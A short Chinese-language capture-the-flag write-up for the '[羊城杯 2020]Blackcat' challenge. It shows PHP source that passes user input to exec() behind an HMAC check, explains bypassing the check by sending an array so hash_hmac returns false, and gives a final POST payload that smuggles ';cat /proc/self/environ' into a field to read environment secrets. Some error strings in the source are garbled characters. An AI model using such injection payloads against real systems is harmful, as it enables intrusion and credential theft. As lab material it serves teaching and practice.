[羊城杯 2020]Blackcat
源码
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('˭�����Ҳ���һֻ����β�ͣ�');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('��������������������������������Ҫ����Ŀ�ꡣ�����Լ����������ǿ����а��ĵ��ӵ���');
}
echo exec("nc".$_POST['One-ear']);
解题步骤
下载音频文件,用记事本打开,就能看到上面的源码。
搜一下 hash_hmac
经典加密,怼数组肯定又是false
这样子的话,$clandestine必为false,那么,$hh也知道了。
在本地跑一下加密,密钥为false,然后直接代码执行。
payload:
Black-Cat-Sheriff=956be34e22f82f03a4bd28c25530cac8bfca065d8b6b7dfa8cc74bd161126db4&One-ear=;cat /proc/self/environ&White-cat-monitor[]=1